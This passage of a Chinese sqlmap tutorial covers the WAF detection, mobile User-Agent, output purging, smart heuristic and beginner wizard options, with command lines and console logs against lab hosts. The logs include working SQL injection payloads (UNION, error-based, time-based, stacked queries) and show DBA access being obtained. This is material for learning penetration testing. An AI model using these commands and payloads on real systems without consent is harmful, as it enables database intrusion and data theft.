$ python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1” --identify-waf -v 3
[…]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset ‘ascii’
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘USP Secure Entry Server (United Security Providers)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘BinarySEC Web Application Firewall (BinarySEC)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Hyperguard Web Application Firewall (art of defence Inc.)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Cisco ACE XML Gateway (Cisco Systems)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘TrafficShield (F5 Networks)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KONA Security Solutions (Akamai Technologies)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Incapsula Web Application Firewall (Incapsula/Imperva)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘CloudFlare Web Application Firewall (CloudFlare)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Barracuda Web Application Firewall (Barracuda Networks)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘webApp.secure (webScurity)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Proventia Web Application Security (IBM)’
[xx:xx:23] [DEBUG] declared web page charset ‘iso-8859-1’
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KS-WAF (Knownsec)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetScaler (Citrix Systems)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Jiasule Web Application Firewall (Jiasule)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘WebKnight Application Firewall (AQTRONIX)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘AppWall (Radware)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘ModSecurity: Open Source Web Application Firewall (Trustwave)’
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified ‘ModSecurity: Open Source Web Application Firewall (Trustwave)’. Please consider usage of tamper scripts (option ‘–tamper’)
[…]

模仿智能手机

参数:–mobile

有时服务端只接收移动端的访问,此时能够设定一个手机的User-Agent来模仿手机登录。

例如:

$ python sqlmap.py -u “http://www.target.com/vuln.php?id=1” --mobile
[…]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S

1
[…]

安全的删除output目录的文件

参数:–purge-output

有时须要删除结果文件,而不被恢复,可使用此参数,原有文件将会被随机的一些文件覆盖。

例如:

$ python sqlmap.py --purge-output -v 3
[…]
[xx:xx:55] [INFO] purging content of directory ‘/home/user/sqlmap/output’…
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[…]

启发式判断注入

参数:–smart

有时对目标很是多的URL进行测试,为节省时间,只对可以快速判断为注入的报错点进行注入,可使用此参数。

例子:

$ python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1” --batch --smart
[…]
[xx:xx:14] [INFO] testing if GET parameter ‘ca’ is dynamic
[xx:xx:14] [WARNING] GET parameter ‘ca’ does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘ca’ might not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘ca’
[xx:xx:14] [INFO] testing if GET parameter ‘user’ is dynamic
[xx:xx:14] [WARNING] GET parameter ‘user’ does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘user’ might not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘user’
[xx:xx:14] [INFO] testing if GET parameter ‘id’ is dynamic
[xx:xx:14] [INFO] confirming that GET parameter ‘id’ is dynamic
[xx:xx:14] [INFO] GET parameter ‘id’ is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable (possible DBMS: ‘MySQL’)
[xx:xx:14] [INFO] testing for SQL injection on GET parameter ‘id’
heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[xx:xx:14] [INFO] GET parameter ‘id’ is ‘AND boolean-based blind - WHERE or HAVING clause’ injectable
[xx:xx:14] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’
[xx:xx:14] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’ injectable
[xx:xx:14] [INFO] testing ‘MySQL inline queries’
[xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 stacked queries’
[xx:xx:14] [INFO] testing ‘MySQL < 5.0.12 stacked queries (heavy query)’
[xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind’
[xx:xx:24] [INFO] GET parameter ‘id’ is ‘MySQL > 5.0.11 AND time-based blind’ injectable
[xx:xx:24] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 20 columns’
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter ‘id’ is ‘MySQL UNION query (NULL) - 1 to 20 columns’ injectable
[…]

初级用户向导参数

参数:–wizard 面向初级用户的参数,能够一步一步教你如何输入针对目标注入。

$ python sqlmap.py --wizard

sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:25:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (–data) [Enter for None]:
Injection difficulty (–level/–risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard

1
Enumeration (–banner/–current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
1

sqlmap is running, please wait…

heuristic (parsing) test showed that the back-end DBMS could be ‘Microsoft SQL Server’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for ‘Microsoft SQL Server’ extending provided level (1) and risk (1)? [Y/n] Y
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))

web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright © 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)

current user: ‘sa’
current database: ‘testdb’
current user is DBA: True

转载自:https://www.cnblogs.com/hongfei/p/3872156.html